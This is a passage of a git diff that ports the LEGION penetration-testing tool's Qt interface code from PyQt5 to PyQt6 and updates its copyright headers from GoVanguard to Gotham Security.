(https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtWidgets, QtGui +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtWidgets, QtGui from app.auxiliary import * # for timestamps from six import u as unicode from ui.ancillaryDialog import flipState @@ -36,7 +36,7 @@ def __init__(self,parent = None): def center(self): frameGm = self.frameGeometry() - centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + centerPoint = QtGui.QGuiApplication.primaryScreen().availableGeometry().center() frameGm.moveCenter(centerPoint) self.move(frameGm.topLeft()) @@ -74,7 +74,7 @@ def __init__(self, name, author, copyright, links, emails, version, build, updat def center(self): frameGm = self.frameGeometry() - centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + centerPoint = QtGui.QGuiApplication.primaryScreen().availableGeometry().center() frameGm.moveCenter(centerPoint) self.move(frameGm.topLeft()) @@ -137,7 +137,7 @@ def Qui_update(self): self.tabwid.addTab(self.TabChangelog,'ChangeLog') self.form.addRow(self.tabwid) self.form2.addWidget(QtWidgets.QLabel('
    ')) - self.form2.addWidget(self.cmdClose, alignment = Qt.AlignCenter) + self.form2.addWidget(self.cmdClose, alignment = Qt.AlignmentFlag.AlignCenter) self.form.addRow(self.form2) self.Main.addLayout(self.form) self.setLayout(self.Main) diff --git a/ui/models/cvemodels.py b/ui/models/cvemodels.py index 8b243804..c0c26923 100644 --- a/ui/models/cvemodels.py +++ b/ui/models/cvemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,7 +19,7 @@ import re from typing import Dict -from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt6 import QtWidgets, QtGui, QtCore from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort @@ -60,7 +60,7 @@ def headerData(self, section, orientation, role): return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole or role == QtCore.Qt.ItemDataRole.EditRole: # how to display each cell row = index.row() column = index.column() return self.__cves[row][self.columnMapping[column]] @@ -74,7 +74,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__cves.reverse() self.layoutChanged.emit() diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index 7f208a87..fd246e4d 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import re -from PyQt5 import QtWidgets, QtGui, QtCore -from PyQt5.QtGui import QFont -from PyQt5.QtCore import pyqtSignal, QObject +from PyQt6 import QtWidgets, QtGui, QtCore +from PyQt6.QtGui import QFont +from PyQt6.QtCore import pyqtSignal, QObject from app.ModelHelpers import resolveHeaders, itemSelectable from app.auxiliary import * # for bubble sort @@ -48,7 +48,7 @@ def headerData(self, section, orientation, role): return resolveHeaders(role, orientation, section, self.__headers) def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text + if role == QtCore.Qt.ItemDataRole.DecorationRole: # to show the operating system icon instead of text if index.column() == 1: # if trying to display the operating system os_string = self.__hosts[index.row()]['osMatch'] if os_string == '': # if there is no OS information, use the question mark icon @@ -75,7 +75,7 @@ def data(self, index, role): # this method takes care of how the else: # if it's an unknown OS also use the question mark icon return QtGui.QIcon("./images/question-icon.png") - if role == QtCore.Qt.DisplayRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -116,7 +116,7 @@ def data(self, index, role): # this method takes care of how the value = 'Not set in view model' return value - if role == QtCore.Qt.FontRole: + if role == QtCore.Qt.ItemDataRole.FontRole: # if a host is checked strike it out and make it italic if index.column() == 3 and self.__hosts[index.row()]['checked'] == 'True': checkedFont=QFont() @@ -168,7 +168,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__hosts) # sort the array of OS - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__hosts.reverse() self.layoutChanged.emit() # update the UI (built-in signal) diff --git a/ui/models/processmodels.py b/ui/models/processmodels.py index b5ea86d5..6ce58789 100644 --- a/ui/models/processmodels.py +++ b/ui/models/processmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -17,7 +17,7 @@ """ import re -from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt6 import QtWidgets, QtGui, QtCore from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort @@ -49,7 +49,7 @@ def headerData(self, section, orientation, role): # this method takes care of how the information is displayed def data(self, index, role): - if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole or role == QtCore.Qt.ItemDataRole.EditRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -121,7 +121,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__processes.reverse() self.__controller.processesTableViewSort = 'desc' else: diff --git a/ui/models/scriptmodels.py b/ui/models/scriptmodels.py index 313e4e90..0c2913f0 100644 --- a/ui/models/scriptmodels.py +++ b/ui/models/scriptmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,7 +18,7 @@ """ import re -from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt6 import QtWidgets, QtGui, QtCore from app.ModelHelpers import resolveHeaders, itemSelectable from app.auxiliary import * # for bubble sort @@ -50,7 +50,7 @@ def headerData(self, section, orientation, role): def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -83,7 +83,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__scripts.reverse() self.layoutChanged.emit() diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index af45f53e..d11126f5 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -17,8 +17,8 @@ """ -from PyQt5 import QtWidgets, QtGui, QtCore -from PyQt5.QtCore import pyqtSignal, QObject +from PyQt6 import QtWidgets, QtGui, QtCore +from PyQt6.QtCore import pyqtSignal, QObject from app.ModelHelpers import resolveHeaders, itemInteractive from app.auxiliary import * # for bubble sort @@ -46,7 +46,7 @@ def headerData(self, section, orientation, role): # this method takes care of how the information is displayed def data(self, index, role): - if role == QtCore.Qt.DecorationRole: # to show the open/closed/filtered icons + if role == QtCore.Qt.ItemDataRole.DecorationRole: # to show the open/closed/filtered icons if index.column() == 0 or index.column() == 2: tmp_state = self.__services[index.row()]['state'] @@ -57,7 +57,7 @@ def data(self, index, role): stateIcon = "./images/{stateIconName}.gif".format(stateIconName=stateIconName) return QtGui.QIcon(stateIcon) - if role == QtCore.Qt.DisplayRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -146,7 +146,7 @@ def sort(self, Ncol, order): # sort the services based on the values in the array sortArrayWithArray(array, self.__services) - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__services.reverse() self.layoutChanged.emit() # update the UI (built-in signal) @@ -190,7 +190,7 @@ def headerData(self, section, orientation, role): def data(self, index, role): # This method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole: # how to display each cell + if role == QtCore.Qt.ItemDataRole.DisplayRole: # how to display each cell row = index.row() column = index.column() if column == 0: @@ -198,7 +198,7 @@ def data(self, index, role): # This method takes care of how the information i # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc def flags(self, index): - return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + return QtCore.Qt.ItemFlag.ItemIsEnabled | QtCore.Qt.ItemFlag.ItemIsSelectable | QtCore.Qt.ItemFlag.ItemIsEditable # sort function called when the user clicks on a header def sort(self, Ncol, order): @@ -213,7 +213,7 @@ def sort(self, Ncol, order): # sort the services based on the values in the array sortArrayWithArray(array, self.__serviceNames) - if order == Qt.AscendingOrder: # reverse if needed + if order == Qt.SortOrder.AscendingOrder: # reverse if needed self.__serviceNames.reverse() self.layoutChanged.emit() # update the UI (built-in signal) diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index 67c5e218..271e16f5 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.actions.updateProgress.AbstractUpdateProgressObserver import AbstractUpdateProgressObserver from ui.ancillaryDialog import ProgressWidget diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index ed3ce124..c04d1157 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,9 +18,9 @@ """ import os -from PyQt5.QtGui import * # for filters dialog -from PyQt5.QtWidgets import * -from PyQt5 import QtCore, QtWidgets +from PyQt6.QtGui import * # for filters dialog +from PyQt6.QtWidgets import * +from PyQt6 import QtCore, QtWidgets from app.auxiliary import * # for timestamps from app.shell.Shell import Shell @@ -31,7 +31,7 @@ class Validate(QtCore.QObject): def eventFilter(self, widget, event): # this horrible line is to avoid making the 'AddSettingsDialog' class visible from here - if event.type() == QtCore.QEvent.FocusOut: + if event.type() == QtCore.QEvent.Type.FocusOut: widget.parent().parent().parent().parent().parent().parent().validateToolName() return False else: @@ -52,8 +52,8 @@ def paintEvent(self, event): self.initStyleOption(option, index) tabRect = self.tabRect(index) tabRect.moveLeft(10) - painter.drawControl(QtWidgets.QStyle.CE_TabBarTabShape, option) - painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)) + painter.drawControl(QtWidgets.QStyle.ControlElement.CE_TabBarTabShape, option) + painter.drawText(tabRect, QtCore.Qt.AlignmentFlag.AlignVCenter | QtCore.Qt.TextFlag.TextDontClip, self.tabText(index)) painter.end() def tabSizeHint(self,index): @@ -683,13 +683,13 @@ def validateToolName(self): if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName( tmpWidget, row, str(tmplineEdit.text())): tmplineEdit.setStyleSheet("border: 1px solid red;") - tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SelectionMode.NoSelection) self.validationPassed = False log.info('the validation is: ' + str(self.validationPassed)) return self.validationPassed else: tmplineEdit.setStyleSheet("border: 1px solid grey;") - tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SelectionMode.SingleSelection) self.validationPassed = True log.info('the validation is: ' + str(self.validationPassed)) if tmpWidget.item(row,0).text() != str(actions[row][1]): @@ -953,7 +953,7 @@ def setupLayout(self): self.flayout = QtWidgets.QVBoxLayout() self.settingsTabWidget = QtWidgets.QTabWidget() self.settingsTabWidget.setTabBar(SettingsTabBarWidget(width=200,height=25)) - self.settingsTabWidget.setTabPosition(QtWidgets.QTabWidget.West) # put the tab titles on the left + self.settingsTabWidget.setTabPosition(QtWidgets.QTabWidget.TabPosition.West) # put the tab titles on the left # left tab menu items self.GeneralSettingsTab = QtWidgets.QWidget() @@ -1188,10 +1188,10 @@ def setupToolPathsTab(self): def setupHostCommandsTab(self): self.toolForHostsTableWidget = QtWidgets.QTableWidget(self.HostActionsWidget) - self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.toolForHostsTableWidget.setFixedWidth(180) self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only - self.toolForHostsTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + self.toolForHostsTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.EditTrigger.NoEditTriggers) self.toolForHostsTableWidget.setColumnCount(1) self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) @@ -1271,10 +1271,10 @@ def setupPortCommandsTab(self): self.label11.setText('Tools') self.toolForServiceTableWidget = QtWidgets.QTableWidget(self.PortActionsWidget) - self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.toolForServiceTableWidget.setFixedWidth(180) self.toolForServiceTableWidget.setShowGrid(False) - self.toolForServiceTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + self.toolForServiceTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.EditTrigger.NoEditTriggers) # table headers self.toolForServiceTableWidget.setColumnCount(1) self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) @@ -1327,7 +1327,7 @@ def setupPortCommandsTab(self): self.horLayout2.addWidget(self.portCommandText) self.servicesAllTableWidget = QtWidgets.QTableWidget() - self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.servicesAllTableWidget.setMaximumSize(150, 300) self.servicesAllTableWidget.setColumnCount(1) self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) @@ -1338,7 +1338,7 @@ def setupPortCommandsTab(self): self.servicesAllTableWidget.verticalHeader().setVisible(False) self.servicesActiveTableWidget = QtWidgets.QTableWidget() - self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.servicesActiveTableWidget.setMaximumSize(150, 300) self.servicesActiveTableWidget.setColumnCount(1) self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) @@ -1391,11 +1391,11 @@ def setupTerminalCommandsTab(self): self.actionTerminalLabel.setText('Tools') self.toolForTerminalTableWidget = QtWidgets.QTableWidget(self.portTerminalActionsWidget) - self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.toolForTerminalTableWidget.setFixedWidth(180) self.toolForTerminalTableWidget.setShowGrid(False) # to make the cells of the table read only - self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.EditTrigger.NoEditTriggers) # table headers self.toolForTerminalTableWidget.setColumnCount(1) self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) @@ -1446,7 +1446,7 @@ def setupTerminalCommandsTab(self): self.horLayout4.addWidget(self.terminalCommandText) self.terminalServicesAllTable = QtWidgets.QTableWidget() - self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.terminalServicesAllTable.setMaximumSize(150, 300) self.terminalServicesAllTable.setColumnCount(1) self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) @@ -1457,7 +1457,7 @@ def setupTerminalCommandsTab(self): self.terminalServicesAllTable.verticalHeader().setVisible(False) self.terminalServicesActiveTable = QtWidgets.QTableWidget() - self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) self.terminalServicesActiveTable.setMaximumSize(150, 300) self.terminalServicesActiveTable.setColumnCount(1) self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) @@ -1620,7 +1620,7 @@ def setupAutoAttacksToolTab(self): def wordlistDialog(self, title='Choose username path'): if title == 'Choose username path': path = QtWidgets.QFileDialog\ - .getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + .getExistingDirectory(self, title, '/', QFileDialog.Option.ShowDirsOnly | QFileDialog.Option.DontResolveSymlinks) self.userlistPath.setText(str(path)) else: path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/') diff --git a/ui/view.py b/ui/view.py index 847fe300..021773d1 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -35,15 +35,19 @@ from app.auxiliary import * from six import u as unicode import pandas as pd +from PyQt6.QtWidgets import QAbstractItemView +from PyQt6.QtCore import Qt # this class handles everything gui-related class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): + def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell, app, loop): QtCore.QObject.__init__(self) self.ui = ui self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.app = app + self.loop = loop self.bottomWindowSize = 100 self.leftPanelSize = 300 @@ -76,12 +80,12 @@ def startOnce(self): qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) - self.ui.HostsTableView.setSelectionMode(3) - self.ui.ServiceNamesTableView.setSelectionMode(1) - self.ui.CvesTableView.setSelectionMode(1) - self.ui.ToolsTableView.setSelectionMode(1) - self.ui.ScriptsTableView.setSelectionMode(1) - self.ui.ToolHostsTableView.setSelectionMode(1) + self.ui.HostsTableView.setSelectionMode(QAbstractItemView.SelectionMode.ExtendedSelection) + self.ui.ServiceNamesTableView.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.ui.CvesTableView.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.ui.ToolsTableView.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.ui.ScriptsTableView.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.ui.ToolHostsTableView.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) # initialisations (globals, etc) def start(self, title='*untitled'): @@ -110,11 +114,11 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs - self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.ButtonPosition.RightSide, None) self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) @@ -224,8 +228,8 @@ def setMainWindowTitle(self, title): def yesNoDialog(self, message, title): dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, - QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, - QtWidgets.QMessageBox.No) + QtWidgets.QMessageBox.StandardButton.Yes | QtWidgets.QMessageBox.StandardButton.No, + QtWidgets.QMessageBox.StandardButton.No) return dialog def setDirty(self, status=True): # this function is called for example when the user edits notes @@ -261,7 +265,7 @@ def dealWithRunningProcesses(self, exiting=False): "Are you sure you want to continue?" reply = self.yesNoDialog(message, 'Confirm') - if not reply == QtWidgets.QMessageBox.Yes: + if not reply == QtWidgets.QMessageBox.StandardButton.Yes: return False self.controller.killRunningProcesses() @@ -281,12 +285,12 @@ def dealWithCurrentProject(self, exiting=False): def confirmExit(self): message = "Are you sure to exit the program?" reply = self.yesNoDialog(message, 'Confirm') - return (reply == QtWidgets.QMessageBox.Yes) + return (reply == QtWidgets.QMessageBox.StandardButton.Yes) def killProcessConfirmation(self): message = "Are you sure you want to kill the selected processes?" reply = self.yesNoDialog(message, 'Confirm') - if reply == QtWidgets.QMessageBox.Yes: + if reply == QtWidgets.QMessageBox.StandardButton.Yes: return True return False @@ -353,7 +357,7 @@ def saveProjectAs(self): filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', - options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + options=QtWidgets.QFileDialog.Option.DontConfirmOverwrite)[0] while not filename =='': if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access( @@ -372,15 +376,15 @@ def saveProjectAs(self): reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. " + "Do you want to replace it?", - QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) + QtWidgets.QMessageBox.StandardButton.Abort | QtWidgets.QMessageBox.StandardButton.Save) - if reply == QtWidgets.QMessageBox.Save: + if reply == QtWidgets.QMessageBox.StandardButton.Save: self.controller.saveProjectAs(filename, 1) # replace break filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', - options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + options=QtWidgets.QFileDialog.Option.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) @@ -394,13 +398,13 @@ def saveProjectAs(self): def saveOrDiscard(self): reply = QtWidgets.QMessageBox.question( self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", - QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, - QtWidgets.QMessageBox.Save) + QtWidgets.QMessageBox.StandardButton.Save | QtWidgets.QMessageBox.StandardButton.Discard | QtWidgets.QMessageBox.StandardButton.Cancel, + QtWidgets.QMessageBox.StandardButton.Save) - if reply == QtWidgets.QMessageBox.Save: + if reply == QtWidgets.QMessageBox.StandardButton.Save: self.saveProject() return True - elif reply == QtWidgets.QMessageBox.Discard: + elif reply == QtWidgets.QMessageBox.StandardButton.Discard: return True else: return False # the user cancelled @@ -415,7 +419,7 @@ def connectAddHosts(self): def connectAddHostsDialog(self): self.adddialog.cmdAddButton.setDefault(True) - self.adddialog.txtHostList.setFocus(True) + self.adddialog.txtHostList.setFocus(Qt.FocusReason.OtherFocusReason) self.adddialog.validationLabel.hide() self.adddialog.spacer.changeSize(15, 15) self.adddialog.show() @@ -527,7 +531,11 @@ def appExit(self): if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() log.info('Exiting application..') - sys.exit(0) + #self.loop.quit() + #self.app.quit() + from PyQt6.QtCore import QCoreApplication + QCoreApplication.quit() + #sys.exit(0) ### TABLE ACTIONS ### @@ -722,11 +730,11 @@ def switchTabClick(self): self.ui.ServicesTabWidget.insertTab(2,self.ui.InformationTab,("Information")) self.ui.ServicesTabWidget.insertTab(3,self.ui.CvesRightTab,("CVEs")) self.ui.ServicesTabWidget.insertTab(4,self.ui.NotesTab,("Notes")) - self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) - self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.ButtonPosition.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.ButtonPosition.RightSide, None) self.restoreToolTabWidget() ### @@ -802,7 +810,7 @@ def contextMenuHostsTableView(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(row) - action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.HostsTableView.viewport().mapToGlobal(pos)) if action: self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) @@ -823,7 +831,7 @@ def contextMenuServiceNamesTableView(self, pos): menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.viewState.service_clicked) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) if action: # because we will need to populate the right-side panel in order to select those rows @@ -896,7 +904,7 @@ def contextToolHostsTableContextMenu(self, pos): self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) restore = True - action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) @@ -908,7 +916,7 @@ def contextToolHostsTableContextMenu(self, pos): menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) - action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) @@ -955,7 +963,7 @@ def contextMenuServicesTableView(self, pos): self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) restore = True - action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) + action = menu.exec(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) @@ -978,7 +986,7 @@ def contextMenuProcessesTableView(self, pos): selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) - action = 